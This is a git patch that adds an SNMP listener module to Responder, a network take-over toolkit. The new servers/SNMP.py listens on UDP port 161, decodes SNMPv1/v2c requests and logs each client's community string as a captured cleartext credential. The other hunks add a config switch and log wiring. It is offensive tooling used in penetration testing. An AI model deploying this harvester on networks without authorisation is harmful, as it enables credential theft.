From 9d4f919b391200247f342dce50eb48921f13a545 Mon Sep 17 00:00:00 2001 From: Stephen Shkardoon Date: Sun, 6 Nov 2022 01:27:28 +1300 Subject: [PATCH] Implement a basic SNMP listener All community strings are logged as they are sent to the server. This initial implementation only supports SNMPv1 and SNMPv2c. `pyasn1` is required for this server to function. --- Responder.conf | 1 + Responder.py | 4 ++++ servers/SNMP.py | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 ++ utils.py | 1 + 5 files changed, 58 insertions(+) create mode 100755 servers/SNMP.py diff --git a/Responder.conf b/Responder.conf index 5c1b94eb..c6350a4e 100755 --- a/Responder.conf +++ b/Responder.conf @@ -15,6 +15,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On +SNMP = Off ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index aeab4732..6ef8862a 100755 --- a/Responder.py +++ b/Responder.py @@ -365,6 +365,10 @@ def main(): threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) + if settings.Config.SNMP_On_Off: + from servers.SNMP import SNMP + threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,))) + for thread in threads: thread.daemon = True thread.start() diff --git a/servers/SNMP.py b/servers/SNMP.py new file mode 100755 index 00000000..5ba69cfb --- /dev/null +++ b/servers/SNMP.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from pyasn1.codec.der.decoder import decode + + +class SNMP(BaseRequestHandler): + def handle(self): + data = self.request[0] + received_record, rest_of_substrate = decode(data) + + snmp_version = int(received_record['field-0']) + + if snmp_version > 1: + # TODO: Add support for SNMPv3 (which will have a field-0 value of 2) + print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:",""))) + return + + community_string = str(received_record['field-1']) + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext", + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) diff --git a/settings.py b/settings.py index bae810af..0367f240 100755 --- a/settings.py +++ b/settings.py @@ -99,6 +99,7 @@ def populate(self, options): self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP')) # Db File self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) @@ -178,6 +179,7 @@ def populate(self, options): self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') diff --git a/utils.py b/utils.py index 1ecea929..8b9175ff 100755 --- a/utils.py +++ b/utils.py @@ -509,6 +509,7 @@ def StartupMessage(): print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) + print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:")